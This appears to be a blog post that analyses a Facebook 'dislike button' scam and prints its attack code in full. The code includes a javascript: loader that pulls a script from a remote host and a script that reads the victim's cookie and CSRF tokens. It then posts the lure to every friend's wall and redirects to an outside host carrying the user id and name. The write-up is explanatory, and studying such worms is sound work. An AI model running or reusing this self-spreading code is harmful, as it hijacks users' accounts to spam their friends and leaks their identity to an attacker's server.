If you want to add this famous 'dislike' button, you should added this line in the address bar, I will try to explain step by step what's happen:
javascript:javascript:(a=(b=document).createElement('script')).src='
- 1- The line below append a javascript inside your browser and so, you browser will execute the script //chinawarrior4u.info/dislike/button.js on your
- current facebook page (home.php)*/
- javascript:javascript:(a=(b=document).createElement('script')).src='//chinawarrior4u.info/dislike/button.js',b.body.appendChild(a);void(0)
- /*2- This is the script, see my comment*/
- /** This function will be call in order to read the facebook cookie of the current user in order to get the user id**/
- function readCookie(name) {
- var nameEQ = name + "=";
- var ca = document.cookie.split(';');
- for (var i = 0; i < ca.length; i++) {
- var c = ca[i];
- while (c.charAt(0) == ' ') c = c.substring(1, c.length);
- if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
- }
- return null
- }
- var randomnumber=Math.floor(Math.random()*99999);
- /** getting the userId **/
- var user_id = readCookie("c_user");
- /** getting the username in the DOM -> <a href=?"http:?/?/?www.facebook.com/?GaryBenattar" id=?"navAccountName">?Gary Benattar?</a>? **/
- var user_name = document.getElementById('navAccountName').innerHTML;
- /** some variable for the message content that will be send to user's friends **/
- var message = "Facebook now has a dislike button! Click'Enable Dislike Button' to turn on the new feature!";
- var jsText = "http://tiny.cc/pzqup";
- var myText = "Enable Dislike Button";
- /** getting the last form id on the facebook page in order to put these two variable in the famous connect call **/
- var post_form_id = document.getElementsByName('post_form_id')[0].value;
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- /** user id **/
- var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- /** get all of your friends **/
- var friends = new Array();
- gf = new XMLHttpRequest();
- /** can't get php file content, but I think it will connect using FB connect and retrieve all of your friends **/
- gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);
- gf.send();
- if(gf.readyState!=4){ }else{
- data = eval('(' + gf.responseText.substr(9) + ')');
- if(data.error){ }else{
- friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
- }
- }
- /** iterate over all friends and send us the same link in feed href with the appId: 6628568379 **/
- for(var i=0; i<friends.length; i++){
- var httpwp = new XMLHttpRequest();
- var urlwp = "/fbml/ajax/prompt_feed.php?__a=1";
- var paramswp = "&__d=1&app_id=6628568379&extern=1&" +
- "&post_form_id=" + post_form_id +
- "&fb_dtsg=" + fb_dtsg +
- "&feed_info[action_links][0][href]=" + encodeURIComponent(jsText) +
- "&feed_info[action_links][0][text]=" + encodeURIComponent(myText) +
- "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid +
- "&user_message=" + message;
- httpwp.open("POST", urlwp, true);
- httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- httpwp.setRequestHeader("Content-length", paramswp.length);
- httpwp.setRequestHeader("Connection", "keep-alive");
- httpwp.onreadystatechange = function(){
- if (httpwp.readyState == 4 && httpwp.status == 200){
- }
- }
- httpwp.send(paramswp);
- }
- /** redirect to a stupid message and location **/
- alert("Account Verification Required To Enable The Dislike Button \n\ Please Press 'OK' To Verify Your Account.");
- window.location = "http://treefittylol.info/final.php?userid="+user_id+"&name="+user_name;
21 comments